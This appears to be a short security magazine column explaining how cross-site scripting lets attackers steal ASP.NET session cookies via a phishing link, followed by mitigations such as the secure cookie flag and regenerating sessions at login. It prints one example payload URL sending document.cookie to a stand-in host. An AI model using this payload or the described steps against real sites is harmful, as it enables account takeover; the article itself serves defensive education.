Attackers can gain access to sensitive information by stealing sessions on web applications. If you let them.
We've looked at cross-site scripting (XSS) before (SC, March 2007), but how do you actually go about using this to get into somebody's account on a web application?
Let's assume we have found a login to an ASP.NET web application and that it is vulnerable to XSS. Typically a session ID cookie will be set when the first request is made to a website. The user inputs their credentials using a login form and, when successful, the server side application remembers that "the user with this session cookie is authenticated" and displays different site content (personal details, order history etc). This is now an "active session" and that user will have authenticated access until they click "logout" or close their web browser.
Session stealing is possible where possession of an "active" session ID cookie value gives access to the authenticated application. Assuming that the ID value is random enough to prevent an attacker guessing it, a very basic session-stealing attack using the XSS vulnerability runs as follows.
Conduct a phishing attack against the application's users, either using email or instant messaging. This message will include a link that might look something like this:
http://vulnerable.org/xss.asp?vulnerableparameter=window .location="http://example.com/?cookies="% 2bdocument.cookie;
A script on "example.com" logs the cookie value and forwards the user immediately back to the login form of the vulnerable.org site. Smart users might spot this redirection, so this technique is fairly obsolete these days, even though there are more sophisticated ways to send the cookie value to example.com.
Now the attacker has the value of the ASP session ID cookie and can assume that the "victim" will log in to the vulnerable.org application. The attacker can then visit that vulnerable.org application and modify their session cookie to be the same as the victim's, giving access to the application and the victim's account.
Some websites implement SSL encryption but neglect to separate the "secure" and "non-secure" content. To improve security the "secure" flag should be set in the cookie
Another way to protect users is to explicitly destroy and recreate the user's session cookie when they login. Since session hijacking occurs where the attacker does not know the credentials, the point where credentials are entered is the only place where the identity of the actual user is assured.
Session stealing is remarkably easy to do, particularly when combined with a spear phishing attack. It can give the attacker access to users accounts containing sensitive transactional information. It is also easy to mitigate, so beware.
- Ken Munro is managing director of SecureTest. He can be contacted at firstname.lastname@example.org.